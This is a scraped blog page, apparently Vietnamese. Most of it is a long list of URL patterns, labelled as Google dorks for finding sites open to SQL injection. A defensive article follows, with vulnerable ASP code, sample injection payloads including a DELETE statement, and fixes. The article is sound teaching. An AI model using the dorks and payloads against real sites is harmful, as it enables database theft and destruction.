<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> content/detail.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> templet.php?acticle_id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> news/news/title_show.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> product.php?id=</span></span></span></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;">index</span></span></span><span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;">.php?url=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> cryolab/content.php?cid=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> ls.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> s.php?w=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> abroad/page.php?cid=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> bayer/dtnews.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> news/temp.php?id=</span></span></span></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;">index</span></span></span><span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;">.php?url=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> book/bookcover.php?bookid=</span></span></span></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="font-size: 16px;"><span style="font-family: 'Georgia';"><span style="text-decoration: underline;"><span style="color: #0084ce;">index.php/en/component/pvm/?view=</span></span></span></span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> product/list.php?pid=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> cats.php?cat=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> software_categories.php?cat_id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> print.php?sid=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> docDetail.aspx?chnum=</span></span></span></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;">index</span></span></span><span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;">.php?section=</span></span></span></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;">index</span></span></span><span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;">.php?page=</span></span></span></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;">index</span></span></span><span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;">.php?page=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> en/publications.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> events/detail.php?ID=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> forum/profile.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> media/pr.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> content.php?ID=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> cloudbank/detail.php?ID=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> pages.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> news.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> beitrag_D.php?id=</span></span></span><span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;">content/</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;">index</span></span></span><span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;">.php?id=</span></span></span></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;">index</span></span></span><span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;">.php?i=</span></span></span><span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;">?action=</span></span></span></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;">index</span></span></span><span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;">.php?page=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> beitrag_F.php?id=</span></span></span></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;">index</span></span></span><span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;">.php?pageid=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> page.php?modul=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> detail.php?id=</span></span></span></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;">index</span></span></span><span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;">.php?w=</span></span></span></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;">index</span></span></span><span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;">.php?modus=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> news.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> news.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> aktuelles/meldungen-detail.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> item.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> obio/detail.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> page/de/produkte/produkte.php?prodID=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> packages_display.php?ref=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> shop/</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;">index</span></span></span><span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;">.php?cPath=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> modules.php?bookid=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> product-range.php?rangeID=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> en/news/fullnews.php?newsid=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> deal_coupon.php?cat_id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> show.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> blog/</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;">index</span></span></span><span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;">.php?idBlog=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> redaktion/whiteteeth/detail.php?nr=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> HistoryStore/pages/item.php?itemID=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> aktuelles/veranstaltungen/detail.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> tecdaten/showdetail.php?prodid=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> ?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> rating/stat.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> content.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> viewapp.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> item.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> news/newsitem.php?newsID=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> FernandFaerie/</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;">index</span></span></span><span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;">.php?c=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> show.php?id=</span></span></span><span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;">?cat=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> categories.php?cat=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> category.php?c=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> product_info.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> prod.php?cat=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> store/product.php?productid=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> browsepr.php?pr=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> product-list.php?cid=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> products.php?cat_id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> product.php?ItemID=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> category.php?c=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> main.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> article.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> showproduct.php?productId=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> view_item.php?item=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> skunkworks/content.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> index.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> item_show.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> publications.php?Id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> index.php?t=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> view_items.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> portafolio/portafolio.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> YZboard/view.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> index_en.php?ref=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> index_en.php?ref=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> category.php?id_category=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> main.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> main.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> calendar/event.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> default.php?cPath=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> pages/print.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> index.php?pg_t=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> _news/news.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> forum/showProfile.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> fr/commande-liste-categorie.php?panier=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> downloads/shambler.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> sinformer/n/imprimer.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> More_Details.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> directory/contenu.php?id_cat=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> properties.php?id_cat=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> forum/showProfile.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> downloads/category.php?c=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> index.php?cat=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> product_info.php?products_id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> product_info.php?products_id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> product-list.php?category_id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> detail.php?siteid=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> projects/event.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> view_items.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> more_details.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> melbourne_details.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> more_details.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> detail.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> more_details.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> home.php?cat=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> idlechat/message.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> detail.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> print.php?sid=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> more_details.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> default.php?cPath=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> events/event.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> brand.php?id=</span></span></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: 'arial';"><span style="color: black;"> toynbeestudios/content.php?id=</span></span></span></div>

Google Dork 2014 List For SQL Injection Attack

about.php?cartID= accinfo.php?cartId= acclogin.php?cartID= add.php?bookid= add_cart.php?num= addcart.php? addItem.php ...

Chống tấn công kiểu SQL Injection

<h3>
<strong>Sql injection là gì?</strong></h3>
Việc thiết kế và đưa website vào hoạt động luôn đòi hỏi các nhà phát 
triển phải quan tâm đến vấn đề về an toàn, bảo mật nhằm giảm thiểu tối 
đa khả năng bị tin tặc tấn công. Thường các nhà phát triển tập trung vào
 các vấn đề an toàn của hệ điều hành, hệ quản trị CSDL, webserver… Chẳng
 hạn như hổng bảo mật trên IIS. Tuy nhiên, có một nguy cơ tiềm ẩn ít 
được quan tâm đó là các đoạn mã của ứng dụng. Một trong số đó là tấn 
công bằng SQL Injection.<br />

SQL Injection là một kĩ thuật cho phép những kẻ tấn công thi hành các
 câu lệnh truy vấn SQL bất hợp pháp (người phát triển không lường trước 
được) bằng cách lợi dụng lỗ hổng trong việc kiểm tra dữ liệu nhập từ các
 ứng dụng web. Hậu quả này rất tai hại vì nó cho phép kẻ tấn công có 
toàn quyền, hiệu chỉnh… trên cơ sở dữ liệu của ứng dụng. Lỗi này thường 
xảy ra trên các ứng dụng web có dữ liệu được quản lí bằng các hệ quản 
trị CSDL như SQL Server, Oracle, DB2, Sysbase.<br />

Xét một ví dụ điển hình, thông thường để cho phép người dùng truy cập
 vào các trang web được bảo mật, hệ thống thường xây dựng trang đăng 
nhập để yêu cầu người dùng nhập thông tin về tên đăng nhập và mật khẩu. 
Sau khi người dùng nhập thông tin vào, hệ thống sẽ kiểm tra tên đăng 
nhập và mật khẩu có hợp lệ hay không để quyết định cho phép hay từ chối 
thực hiện tiếp.<br />

Trong trường hợp này, người ta có thể dùng 2 trang, một trang HTML để
 hiển thị form nhập liệu và một trang ASP dùng để xử lí thông tin nhập 
từ phía người dùng. Ví dụ:<br />

Username:  <input type=”text” name=”txtUsername”><br><br />

Password:  <input type=”password” name=”txtPassword”><br><br />

</form></blockquote>
ExecLogin.asp<br />

Dim p_strUsername, p_strPassword, objRS, strSQL<br />

p_strUsername = Request.Form(“txtUsername”)<br />

p_strPassword = Request.Form(“txtPassword”)<br />

strSQL = “SELECT * FROM tblUsers “ & _ “WHERE Username=’”<br />

& _strUsername & _<br />

“‘ and Password=’” & p_strPassword & “‘“<br />

Set objRS = Server.CreateObject(“ADODB.Recordset”)<br />

objRS.Open strSQL, “DSN=…”<br />

If (objRS.EOF) Then<br />

Response.Write “Invalid login.”<br />

Else<br />

Response.Write “You are logged in as “ & objRS(“Username”)<br />

End If<br />

Set objRS = Nothing<br />

<em>%></em></blockquote>
Thoạt nhìn, đoạn mã trong trang ExecLogin.asp dường như không chứa 
bất cứ một lỗ hổng bảo mật nào. Người dùng không thể đăng nhập mà không 
có tên đăng nhập và mật khẩu hợp lệ. Tuy nhiên, đoạn mã này thực sự 
không an toàn và là tiền đề cho tấn công SQL Injection. Đặc biệt, sơ hở 
nằm ở chỗ dữ liệu người dùng nhập vào được dùng để xây dựng trực tiếp 
câu lệnh truy vấn SQL. Chính điều này cho phép những kẻ tấn công có thể 
điều khiển được câu truy vấn sẽ được thực hiện.<br />

<blockquote>
Ví dụ, nếu người dùng nhập chuỗi sau vào trong cả 2 ô nhập liệu username/password của trang Login.htm:<br />

‘ or ‘’ = ‘ . Lúc này, câu truy vấn sẽ được gọi thực hiện là:<br />

SELECT * FROM tblUsers WHERE Username=’’ or ‘’=’’ and Password = ‘’ or ‘’=’’</blockquote>
Câu truy vấn này là hợp lệ và sẽ trả về tất cả các bản ghi của 
tblUsers, và đoạn mã tiếp theo xử lí người dùng đăng nhập bất hợp pháp 
này như là người dùng đăng nhập hợp lệ.<br />

Một ví dụ khác của tấn công SQL Injection nữa là khi các trang Web sử
 dụng dữ liệu nhập vào theo dạng querystring (bằng cách gõ cặp tham số 
và giá trị trực tiếp trên thanh địa chỉ hoặc dùng form với thuộc tính 
ACTION là GET). Ví dụ sau minh họa một trang ASP nhận dữ liệu cho biến 
ID thông qua querystring và phát sinh nội dung của trang đó dựa trên ID:<br />

Dim p_lngID, objRS, strSQL<br />

p_lngID = Request(“ID”)<br />

strSQL = “SELECT * FROM tblArticles WHERE ID=” & p_lngID<br />

Set objRS = Server.CreateObject(“ADODB.Recordset”)<br />

objRS.Open strSQL, “DSN=…”<br />

If (Not objRS.EOF) Then Response.Write objRS(“ArticleContent”)<br />

Set objRS = Nothing<br />

%></blockquote>
Trong các tình huống thông thường, đoạn mã này hiển thị nội dung của 
article có ID trùng với ID được chuyển đến cho nó dưới dạng querystring.
 Ví dụ, trang này có thể được gọi như sau:<br />

<blockquote>
http://www.example.com/Article.asp?ID=1055, để hiển thị nội dung của article có ID là 1055.</blockquote>
Giống như ví dụ đăng nhập ở trên, đoạn mã này để lộ sơ hở cho khả 
năng tấn công SQL Injection. Kẻ tấn công có thể thay thế một ID hợp lệ 
bằng cách gán ID cho một giá trị khác, để thực hiện một lệnh SQL bất hợp
 pháp,  ví dụ như: 0 or 1=1 (nghĩa là, 
http://www.example.com/Article.asp?ID=0 or 1=1).<br />

Câu truy vấn SQL lúc này sẽ trả về tất cả các article từ bảng dữ liệu vì nó sẽ thực hiện câu lệnh:<br />

<blockquote>
SELECT * FROM tblArticles WHERE ID=0 or 1=1</blockquote>
Tất nhiên ví dụ này dường như không có gì nguy hiểm, nhưng hãy thử 
tưởng tượng kẻ tấn công có thể xóa toàn bộ CSDL bằng cách chèn vào các 
đoạn lệnh nguy hiểm như lệnh DELETE. Tất cả chỉ là đơn giản thay đổi 
chuỗi gán dữ liệu cho ID, ví dụ như:<br />

<blockquote>
http://www.example.com/Article.asp?ID=1055; DELETE FROM tblArticles.</blockquote>
<h3>
Tác Hại Và Cách Phòng Tránh</h3>
Tác hại của dạng tấn công SQL Injection tùy thuộc vào môi trường và 
cách cấu hình hệ thống. Nếu ứng dụng sử dụng quyền dbo (quyền của người 
sở hữu CSDL) khi thao tác dữ liệu, nó có thể xóa toàn bộ các bảng dữ 
liệu, tạo các bảng dữ liệu mới… Nếu ứng dụng sử dụng quyền sa (quyền 
quản trị hệ thống), nó có thể điều khiển toàn bộ hệ CSDL và thậm chí có 
thể tạo ra các tài khoản người dùng bất hợp pháp để điều khiển hệ thống 
của bạn.<br />

Để phòng tránh các nguy cơ có thể xảy ra, hãy bảo vệ các câu truy vấn
 SQL bằng cách kiểm soát chặt chẽ tất cả các dữ liệu nhập nhận được từ 
đối tượng Request (Request, Request. QueryString, Request.Form, Request.
 Cookies, và Request.Server Variables).<br />

Trong trường hợp dữ liệu nhập vào là chuỗi, như trong ví dụ 1, lỗi 
xuất phát từ việc có dấu nháy đơn trong dữ liệu. Để tránh điều này, thay
 thế các dấu nháy đơn bằng hàm Replace để thay thế bằng 2 dấu nháy đơn:<br />

<blockquote>
p_strUsername = Replace(Request.Form(“txtUsername”), “‘“, “‘’”)<br />

p_strPassword = Replace(Request.Form(“txtPassword”), “‘“, “‘’”)</blockquote>
Trong trường hợp dữ liệu nhập vào là số, như trong ví dụ 2, lỗi xuất 
phát từ việc thay thế một giá trị được tiên đoán là dữ liệu số bằng 
chuỗi chứa câu lệnh SQL bất hợp pháp.  Để tránh điều này, đơn giản hãy 
kiểm tra dữ liệu có đúng kiểu hay không:<br />

<blockquote>
p_lngID = CLng(Request(“ID”))</blockquote>
Như vậy, nếu người dùng truyền vào một chuỗi, hàm này sẽ trả về lỗi ngay lập tức.<br />

Ngoài ra để tránh các nguy cơ từ tấn công SQL Injection, nên chú ý 
loại bỏ bất kì thông tin kĩ thuật nào chứa trong thông điệp chuyển tới 
cho người dùng khi ứng dụng có lỗi. Các thông báo lỗi thông thường tiết 
lộ các chi tiết kĩ thuật có thể cho phép kẻ tấn công biết được điểm yếu 
của hệ thống.<br />

Bạn có thể tham khảo thêm thông tin về cách thức tạo ra các trang báo
 lỗi tùy ý trong “Tạo ra các trang báo lỗi ASP được tùy biến”.<br />

Cuối cùng, để hạn chế thiệt hại do tấn công SQL Injection, nên kiểm 
soát chặt chẽ và giới hạn quyền xử lí dữ liệu của tài khoản người dùng 
mà ứng dụng web đang sử dụng. Các ứng dụng thông thường nên tránh dùng 
các quyền như dbo hay sa. Quyền càng hạn chế, thiệt hại càng ít.<br />

<h3>
Tài liệu tham khảo</h3>
<ul>
<li>Biên dịch từ: http://www.4guy sfromrolla.com/webtech/061902-1.shtml</li>
<li>SQL Injection FAQ: http://www .sqlsecurity.com/DesktopDefault .aspx?tabindex=2&tabid=3</li>
<li>Advanced SQL Injection: http://www.nextgenss.com/papers/advanced_ sql_injection.pdf</li>
<li>Preventing SQL Injection: <a href="http://www.owasp.org/asac/inputvalidation%20/sql.shtml">http://www.owasp.org/asac/inputvalidation /sql.shtml</a></li>
</ul>
Nguồn: Bear

Chống tấn công kiểu SQL Injection

Sql injection là gì? Việc thiết kế và đưa website vào hoạt động luôn đòi hỏi các nhà phát triển phải quan tâm đến vấn đề về an toàn, bảo ...

Mr.Quay's Blog

KHAI THÁC SQL INJECT COOKIE METHOD: SESSION BASED

Sơ sơ về blind

Một số cách Bypass SQL injection

Google Dork 2014 List For SQL Injection Attack

Chống tấn công kiểu SQL Injection

Xem Nhiều

Blog Archive

Nhận xét mới đăng tải!